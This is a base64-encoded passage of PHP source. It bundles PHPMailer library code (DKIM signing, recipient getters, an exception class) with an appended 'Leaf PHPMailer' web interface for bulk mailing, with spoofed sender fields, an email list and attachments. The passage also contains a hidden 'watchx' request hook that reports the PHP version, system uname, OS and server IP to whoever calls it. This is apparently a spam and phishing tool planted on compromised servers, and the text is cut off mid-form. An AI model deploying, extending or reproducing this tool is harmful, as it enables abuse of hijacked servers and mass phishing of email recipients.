CAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhdHRhY2htZW50W10iIGlkPSJhdHRhY2htZW50W10iIG11bHRpcGxlLz48L3NwYW4+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0icmVwbHlUbyI+UmVwbHktdG88L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJyZXBseVRvIiBuYW1lPSJyZXBseVRvIiB2YWx1ZT0iJy4kcmVwbHlUby4nIiAvPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTEyICI+PGxhYmVsIGZvcj0ic3ViamVjdCI+U3ViamVjdDwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InN1YmplY3QiIG5hbWU9InN1YmplY3QiIHZhbHVlPSInLiRzdWJqZWN0LiciIC8+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1ncm91cCBjb2wtbGctNiI+PGxhYmVsIGZvcj0ibWVzc2FnZUxldHRlciI+TWVzc2FnZSBMZXR0ZXIgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIiBmb3JtPSJmb3JtIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJ2aWV3IiBmb3JtdGFyZ2V0PSJfYmxhbmsiPlByZXZpZXcgPC9idXR0b24+PC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ibWVzc2FnZUxldHRlciIgaWQ9Im1lc3NhZ2VMZXR0ZXIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJG1lc3NhZ2VMZXR0ZXIuJzwvdGV4dGFyZWE+PC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+PGxhYmVsIGZvcj0iZW1haWxMaXN0Ij5FbWFpbCBMaXN0IDxhIGhyZWY9Ij9lbWFpbGZpbHRlcj1vbiIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJidG4gYnRuLWRlZmF1bHQgYnRuLXhzIj5GaWx0ZXIvRXh0cmFjdDwvYT48L2xhYmVsPjx0ZXh0YXJlYSBuYW1lPSJlbWFpbExpc3QiIGlkPSJlbWFpbExpc3QiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHJvd3M9IjEwIiBpZD0idGV4dEFyZWEiPicuJGVtYWlsTGlzdC4nPC90ZXh0YXJlYT48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ibWVzc2FnZVR5cGUiPk1lc3NhZ2UgVHlwZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgSFRNTCA8aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIxIiAnLiRodG1sLic+CiAgICAgICAgICAgICAgICAgICAgUGxhaW48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9Im1lc3NhZ2VUeXBlIiBpZD0ibWVzc2FnZVR5cGUiIHZhbHVlPSIyIiAnLiRwbGFpbi4nPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iY2hhcnNldCI+Q2hhcmFjdGVyIHNldDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LXNtIiBpZD0iY2hhcnNldCIgbmFtZT0iY2hhcnNldCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kdXRmOC4nPlVURi04PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gJy4kaXNvLic+SVNPLTg4NTktMTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy0zICI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW5jb2RpbmciPk1lc3NhZ2UgZW5jb2Rpbmc8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1zbSIgaWQ9ImVuY29kZSIgbmFtZT0iZW5jb2RlIj4KICAg